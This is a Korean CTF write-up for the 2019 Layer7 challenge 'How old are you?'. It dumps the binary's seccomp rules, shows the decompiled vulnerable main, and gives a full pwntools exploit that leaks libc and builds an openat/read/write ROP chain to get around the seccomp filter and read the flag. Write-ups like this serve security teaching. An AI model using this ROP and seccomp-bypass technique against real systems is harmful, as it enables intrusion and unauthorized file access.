2019 Layer7 CTF How old are you?
seccomp 걸려있는 바이너리다. orw하는 문제라는데 sys_open
이 막혀있어서 sys_openat
을 이용해서 bypass 해서 파일 읽어오면 될거다.
$ seccomp-tools dump ./seccomp
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0020
0006: 0x15 0x0d 0x00 0x00000009 if (A == mmap) goto 0020
0007: 0x15 0x0c 0x00 0x0000000a if (A == mprotect) goto 0020
0008: 0x15 0x0b 0x00 0x00000029 if (A == socket) goto 0020
0009: 0x15 0x0a 0x00 0x00000038 if (A == clone) goto 0020
0010: 0x15 0x09 0x00 0x0000003a if (A == vfork) goto 0020
0011: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0020
0012: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0020
0013: 0x15 0x06 0x00 0x00000065 if (A == ptrace) goto 0020
0014: 0x15 0x05 0x00 0x0000009d if (A == prctl) goto 0020
0015: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0020
0016: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0020
0017: 0x15 0x02 0x00 0x00000208 if (A == 0x208) goto 0020
0018: 0x15 0x01 0x00 0x00000221 if (A == 0x221) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
나이 묻고 아기 어른 머시기 하는 바이너리다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-110h]
int v5; // [rsp+100h] [rbp-10h]
int v6; // [rsp+104h] [rbp-Ch]
int v7; // [rsp+108h] [rbp-8h]
int i; // [rsp+10Ch] [rbp-4h]
if ( !count )
setup();
v5 = 0;
v7 = 0;
v6 = 0;
for ( i = 0; i <= 1; ++i )
{
printf("Input your age : ");
v7 = _isoc99_scanf("%u", &v5);
if ( v7 )
{
puts("Hello baby!");
printf("What's your name? : ", &v5);
read(0, &buf, 512uLL);
puts("Okay! I know how you are now, baby :)");
}
else
{
puts("Hello adult!");
printf("What's your name? : ", &v5);
read(0, adult, 512uLL);
v6 = strlen(adult);
if ( v6 != 5 )
{
puts("Are you Korean?");
exit(1);
}
puts("Okay! I know how you are now, adult :)");
}
}
return 0;
}
익스는 간단하다. main함수에서 scanf를 우회해서 adult로 가게되면 adult가 bss영역이므로 이 곳에 입력 할 수 있으니까 open할 파일 이름을 넣어주면 된다. 근데 5글자 제한이라 \x00
으로 strlen bypass해주면 된다. 그리고 baby쪽에서 libc leak해주고 라이브러리 gadget들을 구해준 후 orw해주면 된다.
exploit.py
from pwn import *
# /home/seccomp/flag
# context.log_level = 'debug'
context.arch = 'amd64'
e = ELF('./seccomp')
p = process('./seccomp')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
prdi = 0x0000000000400eb3 # pop rdi ; ret
prsi_r15 = 0x0000000000400eb1 # pop rsi ; pop r15 ; ret
adult = 0x0000000000602060 # 0x200
p.sendlineafter(':','+')
payload = 'A'*5 + '\x00'
payload += '/vagrant/ctfs/flag.txt' + '\x00' # adult + 6
p.sendlineafter(':',payload)
p.sendlineafter(':','1')
payload2 = 'A'*0x110
payload2 += 'realsung'
payload2 += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload2 += p64(e.symbols['main'])
p.sendlineafter(':',payload2)
p.recvuntil(':)\n')
libc_base = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
prdi = libc_base + 0x0000000000021102 # pop rdi ; ret
prsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
prdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
prax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00122198 # syscall ; ret ; (1 found)
p.sendlineafter(':','1')
payload3 = 'A'*0x110
payload3 += 'realsung'
payload3 += p64(prdi) + p64(0) + p64(prsi) + p64(adult+6) + p64(prdx) + p64(0) + p64(prax) + p64(257) + p64(syscall)
payload3 += p64(prdi) + p64(3) + p64(prsi) + p64(adult+100) + p64(prdx) + p64(100) + p64(prax) + p64(0) + p64(syscall)
payload3 += p64(prdi) + p64(1) + p64(prsi) + p64(adult+100) + p64(prdx) + p64(100) + p64(prax) + p64(1) + p64(syscall)
#print len(payload3)
p.sendlineafter(':',payload3)
p.interactive()